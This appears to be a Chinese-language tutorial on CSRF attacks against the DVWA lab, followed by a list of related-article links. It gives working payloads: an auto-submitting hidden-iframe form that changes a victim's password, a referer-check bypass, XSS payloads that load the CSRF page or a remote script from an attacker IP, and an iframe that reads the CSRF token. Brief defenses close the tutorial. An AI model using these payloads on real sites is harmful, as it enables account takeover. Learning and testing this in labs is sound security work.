简述

CSRF:Cross-site request -forgery,跨站请求伪造,是一种web攻击方式,是由于网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录。

危害

攻击者可以利用你的身份,以你的名义发送恶意请求。cerf能够做的事情包括:以你的名义发送邮件,发信息,盗取你的账号,甚至购买商品,虚拟商品转账

CSRF之POC制作

测试环境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打开要测试的页面,burpsuit拦截

右键,找到下图的东西

点击Generate CSRF Poc

由于burp生成的poc需要点击按钮才能触发 用户很难上当受骗 这里用js添加一个自动点击事件,

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><iframe name="target" style="display: none;"></iframe><!--iframe将作为跳转的接收页,为了隐藏我们使用display:none,不显示--><form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target"><input type="hidden" name="password&#95;new" value="123456" /><input type="hidden" name="password&#95;conf" value="123456" /><input type="hidden" name="Change" value="Change" /></form><script>var form = document.getElementById("form");form.submit();</script></body>
</html>

将此html放在自己服务器上,保证能访问到,dvwa这边处于登陆状态,然后使用同一浏览器,访问刚刚构造的POC,DVWA默认的密码为password

http://IP/csrf/csrf.html



密码成功修改

2、csrf绕过referer验证

很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否
包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然
后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。
绕过思路:将攻击文件的文件名改为该网站的域名(请求时的host值).

3、结合XSS
构造我们的payload,使用DVWA的反射型XSS测试

<script src="x" onerror=javascript:window.open("http://IP/csrf/csrf.html")></script>

访问之后,成功修改

另一种方式:

var form = document.createElement('form');
form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
form.target='target';
var pass1 = document.createElement('input');
pass1.name="password_new";
pass1.value = '123456';
var pass2 = document.createElement('input');
pass2.name = 'password_conf';
pass2.value = "123456";
var change = document.createElement('input');
change.name='Change';
change.value='Change';
form.appendChild(pass1);
form.appendChild(pass2);
form.appendChild(change);
document.body.append(form)
form.submit();

payload

<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>

4、csrf结合xss绕过token防御
token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该
存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用
xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问
题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造
的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可
利用的概率就比较小了。

<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')
[0].value)">

防御

  • 关键操作增加验证码
  • 验证referer
  • 使用足够随机的token

web安全-----CSRF漏洞相关推荐

  1. 《WEB安全漏洞100讲》(第4讲)CSRF漏洞

    1.CSRF漏洞原理 CSRF(Cross-site request forgery),跨站请求伪造,简写 CSRF/XSRF.指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶 ...

  2. 一个express老系统csrf漏洞修复

    一个运行快两年的express框架web系统,被安全部门审核存在csrf漏洞,项目使用的前后端分离的形式,所有功能操作,通过ajax调用后端接口来完成,查了很多资料,一个基本的防御思想就是验证随机数了 ...

  3. Web安全CSRF攻击与防御

    来自:区块链技术联盟 https://www.toutiao.com/a6514792395601609223/ 参考: http://blog.csdn.net/stpeace/article/de ...

  4. Csrf漏洞概述及其原理

    一.Csrf漏洞的概述 1.CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Ridin ...

  5. 【CSRF漏洞-01】跨站请求伪造漏洞靶场实战

    概述 跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的web应用程序上执行非本意的操作. CSRF攻击的主要目的在伪造 ...

  6. Web安全常见漏洞原理、危害及其修复建议

    web安全常见漏洞原理.危害及其修复建议 一. SQL注入漏洞 原理 危害 修复建议 二.XSS漏洞 原理 危害 修复建议 三. CSRF漏洞 原理 危害 修复建议 四. SSRF漏洞 原理 危害 预 ...

  7. CSRF漏洞检测与发现

    1.首先明白什么是CSRF漏洞 跨站请求伪造,这里刚入门的同学肯定不明白是什么意思,其实重点在于请求伪造 简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作 ...

  8. 网络安全笔记 -- CSRF漏洞、SSRF漏洞

    1. CSRF漏洞 1.1 CSRF漏洞原理 CSRF(Cross-Site Request Forgery:跨站点请求伪造) CSRF 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的 ...

  9. Web通用型漏洞简介

    本篇文章主要简单介绍一下(我能想到的)Web通用型漏洞(以OWASP体系为主,非组件引起的,可能出现在任何语言任何环境中的web漏洞)的原理以及简单的攻击者利用方式.注:看本篇文章不会学到任何新技术, ...

最新文章

  1. mSystems:从铁载体窥根际菌群互作大局,可见一斑!
  2. 用package.json配置NodeJS项目的模块声明
  3. pattern recognition and machine learning基本思想1:最大似然估计
  4. “反催收”渐成黑灰产业 专家呼吁协同治理“债闹”黑灰产
  5. 有点贵但卖光了!这款旗舰要火了吗...
  6. 40-400-044-运维-优化-MySQL order by 优化
  7. 算法:Unix是如何简化路径的Simplify Path简化路径规则
  8. 怎样用计算机制作漫画,用电脑绘制漫画需要些什么?步骤是什么?
  9. opencv imwrite 之后与imread 图片变小原因与总结
  10. php strpos无效,php问题:strpos功能不起作用
  11. c语言5个同学三门成绩,求助:c语言 求5个同学语数外三门功课的总分与均分。大家看我错在哪了...
  12. 第十五周 项目三 归并排序算法的改进
  13. 本周最新文献速递20211121
  14. 数据分析基础学习_Matplotlib_常见图形及绘制(折线图/散点图/柱状图/直方图/饼图)
  15. 实现树莓派控制电机的运转
  16. java response.write_response.write()区别response.getWrite().write()
  17. 闭区间上连续函数的性质
  18. IM群聊头像九宫格实现方式
  19. 如何用未越狱手机安装ipa文件
  20. yum配置代理proxy

热门文章

  1. jquery简单原则器(匹配索引为指定值的元素)
  2. 全局预处理与执行,作用域与作用域链
  3. 4. HTML表单标签
  4. JS实现逼真的雪花飘落特效
  5. 精心挑选的23款美轮美奂的 jQuery 图片特效插件
  6. Tmux: 打造精致与实用并存的终端
  7. CSS基础学习-15-1.CSS 浏览器内核
  8. 上传图片或文件 方法一
  9. Java 异常处理 try catch finally throws throw 的使用和解读(一)
  10. 【SAP业务模式】之ICS(四):组织单元的配置